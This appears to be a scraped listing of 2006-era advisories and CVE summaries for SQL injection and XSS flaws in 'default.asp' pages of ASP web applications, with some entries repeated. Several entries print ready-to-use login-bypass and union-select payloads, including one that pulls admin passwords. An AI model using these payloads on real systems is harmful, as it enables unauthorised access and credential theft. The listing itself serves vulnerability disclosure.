CVE-2006-6030

Multiple SQL injection vulnerabilities affect E-Calendar Pro 3.0. Remote attackers can execute arbitrary SQL via (1) username and (2) passwd fields in admin/default.asp or (3) Event Title, (4) Location, or (5) Description in search.asp, as described for CVE-2006-6030. The underlying issue is impr...

ASP Smiley 1.0 (default.asp) Login ByPass SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================================== ASP Smiley 1.0 default.asp Login ByPass SQL Injection Vulnerability ===================================================================== Title : ASP Smiley v1.0...

Estate Agent Manager <= v1.3 (default.asp) Remote Login ByPass SQL Injection Vulnerability

Title : Estate Agent Manager = v1.3 default.asp Remote Login ByPass SQL Injection Vulnerability Author : ajann Example: http://target/path/admin/ UserName: ' union select 0,0 from admin """"""""""""""""""""" ajann,Turkey ... Im not Hacker!...

Estate Agent Manager <= v1.3 (default.asp) Login Bypass Vulnerability

No description provided by source. Title : Estate Agent Manager = v1.3 default.asp Remote Login ByPass SQL Injection Vulnerability Author : ajann Example: http://target/path/admin/ UserName: ' union select 0,0 from admin """"""""""""""""""""" ajann,Turkey ... Im not Hacker!...

ASP Smiley 1.0 - default.asp Authentication Bypass SQL Injection

ASP Smiley 1.0 - default.asp Authentication Bypass SQL Injection Title : ASP Smiley v1.0 default.asp Remote Login ByPass SQL Injection Vulnerability Author : ajann Example: http://target/path/admin/ UserName: ' union select 0,0,0,0,0,0,0,0 from categories """"""""""""""""""""" ajann,Turkey ... Im...

Estate Agent Manager 1.3 - default.asp Authentication Bypass

Estate Agent Manager 1.3 - default.asp Authentication Bypass Title : Estate Agent Manager = v1.3 default.asp Remote Login ByPass SQL Injection Vulnerability Author : ajann Example: http://target/path/admin/ UserName: ' union select 0,0 from admin """"""""""""""""""""" ajann,Turkey ... Im not...

CVE-2006-5797

Multiple SQL injection vulnerabilities in default.asp in Xenis.creator CMS allow remote attackers to execute arbitrary SQL commands via the 1 nav, 2 s, or 3 print parameters...

CVE-2006-5799

Multiple cross-site scripting XSS vulnerabilities in default.asp in xenis.creator CMS allow remote attackers to inject arbitrary web script or HTML via the 1 contid or 2 search parameters...

CVE-2006-5800

The CVE-2006-5800 entry describes a cross-site scripting (XSS) vulnerability in the default.asp page of the xenis.creator CMS. The issue arises when an attacker can supply a crafted value for the nav parameter, enabling the injection of arbitrary web script or HTML. The available data indicate im...

CVE-2006-5798

SQL injection vulnerability in default.asp in Xenis.creator CMS allows remote attackers to execute arbitrary SQL commands via the contid parameter...

ClickBlog! <= v2.0 (default.asp) Admin ByPASS SQL Injection

ENGLISH Title : ClickBlog! = v2.0 default.asp Admin ByPASS SQL Injection Author : ajann Exploit; //Before join login page http://target/path/default.asp Username : ' or ' Password : ' or ' and Login Ok ajann,Turkey...

CVE-2006-4592

Incomplete blacklist vulnerability in default.asp in 8pixel.net Simple Blog 2.3 and earlier allows remote attackers to conduct SQL injection attacks via "" characters in the id parameter, which are not filtered by the protection mechanism...

CVE-2006-4590

CVE-2006-4463 and CVE-2006-4590 describe SQL injection flaws in Jetstat.com JS ASP Faq Manager 1.10 and earlier. CVE-2006-4463 affects the administrator control panel via the pwd parameter; CVE-2006-4590 affects admin/default.asp via the uid parameter. Both allow remote attackers to potentially e...

CVE-2006-4592

Incomplete blacklist vulnerability in default.asp in 8pixel.net Simple Blog 2.3 and earlier allows remote attackers to conduct SQL injection attacks via "" characters in the id parameter, which are not filtered by the protection mechanism...

YenerTurk Haber Script 1.0 - SQL Injection

YenerTurk Haber Script 1.0 - SQL Injection YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to...

Ashop Search Module SQL injection

http://SITE/default.asp?mod=search&type=simple&q=27+union+select+12Cadminpassword2C32C4+from+adminusers+27+&cmdSearch=Search credits: EntriKa & TheBeKiR & erne...

CVE-2006-3029

Cross-site scripting XSS vulnerability in default.asp in ClickTech Clickcart 6.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the cat parameter...

CVE-2006-2974

Multiple cross-site scripting XSS vulnerabilities in EmailArchitect Email Server 6.1.0.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 errCode and 2 uid parameter in a default.asp and 3 dname parameter in b /admin/dns.asp and c /additional/regdomaindone.asp...

CVE-2006-2974

Multiple cross-site scripting XSS vulnerabilities in EmailArchitect Email Server 6.1.0.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 errCode and 2 uid parameter in a default.asp and 3 dname parameter in b /admin/dns.asp and c /additional/regdomaindone.asp...

CodeAvalanche News 1.2 - 'default.asp' SQL Injection

source: https://www.securityfocus.com/bid/18031/info CodeAvalanche News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromis...